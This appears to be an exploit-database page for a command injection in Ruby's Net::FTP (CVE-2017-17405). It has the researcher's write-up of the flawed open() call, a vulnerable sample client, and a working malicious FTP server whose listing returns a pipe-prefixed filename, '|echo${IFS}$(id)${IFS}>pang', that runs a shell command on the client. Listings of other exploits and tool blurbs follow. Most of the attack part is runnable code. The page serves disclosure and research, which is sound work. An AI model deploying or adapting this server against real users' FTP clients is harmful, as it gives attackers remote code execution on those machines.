Menu

Search for hundreds of thousands of exploits

"Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection"

Author

Exploit author

"Etienne Stalmans"

Platform

Exploit platform

ruby

Release date

Exploit published date

2017-12-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
While using NET::Ftp I realised you could get command execution through "malicious" file names.

The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method.
When looking at the source code, you'll note:

```
def gettextfile(remotefile, localfile = File.basename(remotefile),
                &block) # :yield: line
  f = nil
  result = nil
  if localfile
    f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
  elsif !block_given?
    result = String.new
  end
```

The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.

I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable.

## Usage:
Change the `host` and `port` values in both //ftpserver.rb// and //client.rb//

Start the server: `ruby ftpserver.rb`
Run the client: `ruby client.rb`

Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png

The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security.

## Impact
Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths.

--cilent.rb--
```
require 'net/ftp'
host = '172.17.0.4'
port = 2121

Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
  ftp.login
  fileList = ftp.nlst('*')
  fileList.each do |file|
        ftp.gettextfile(file)
  end
end
```
--cilent.rb--

- - - 

--ftpserv.rb--
```
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')

server = TCPServer.new port

loop do
  Thread.start(server.accept) do |client|
    client.puts "220 Attack FTP\r\n"
    r = client.gets
	puts r
	client.puts "331 password please - version check\r\n"	
    r = client.gets
	puts r
	client.puts "230 User logged in\r\n"
    r = client.gets
	puts r
	client.puts "230 more data please!\r\n"	
    r = client.gets
	puts r
	client.puts "230 more data please!\r\n"	
    r = client.gets
	puts r

	wait = true
    psv = Thread.new do
		pserver = TCPServer.new 23461
		Thread.start(pserver.accept) do |pclient|
            while wait do
            end
			pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
			pclient.close
		end
    end

    sleep 1

	client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
    r = client.gets
	puts r

    psv.join

	client.puts "150 Here comes the directory listing.\r\n"
    
    wait = false

	client.puts "226 Directory send OK.\r\n"
    r = client.gets
	puts r
	client.puts "221 goodbye\r\n"	
    client.close
  end
end
```
--ftpserv.rb--

- - -
E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/
E-DB Nte: https://hackerone.com/reports/294462
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-19 "Gitlab 12.9.0 - Arbitrary File Read (Authenticated)" webapps ruby "Jasper Rasenberg"
2020-07-26 "Rails 5.0.1 - Remote Code Execution" webapps ruby "Lucas Amorim"
2020-05-06 "GitLab 12.9.0 - Arbitrary File Read" webapps ruby KouroshRZ
2018-10-15 "AlchemyCMS 4.1 - Cross-Site Scripting" webapps ruby "Ismail Tasdelen"
2018-10-12 "CAMALEON CMS 2.4 - Cross-Site Scripting" webapps ruby "Ismail Tasdelen"
2018-05-02 "Metasploit Framework - 'msfd' Remote Code Execution (Metasploit)" remote ruby Metasploit
2018-05-02 "Metasploit Framework - 'msfd' Remote Code Execution (via Browser) (Metasploit)" remote ruby Metasploit
2017-12-02 "Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection" local ruby "Etienne Stalmans"
2017-08-30 "Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery" webapps ruby "Dhiraj Mishra"
2017-03-15 "GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution" webapps ruby iblue
Release Date Title Type Platform Author
2017-12-02 "Ruby < 2.2.8 / < 2.3.5 / < 2.4.2 / < 2.5.0-preview1 - 'NET::Ftp' Command Injection" local ruby "Etienne Stalmans"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.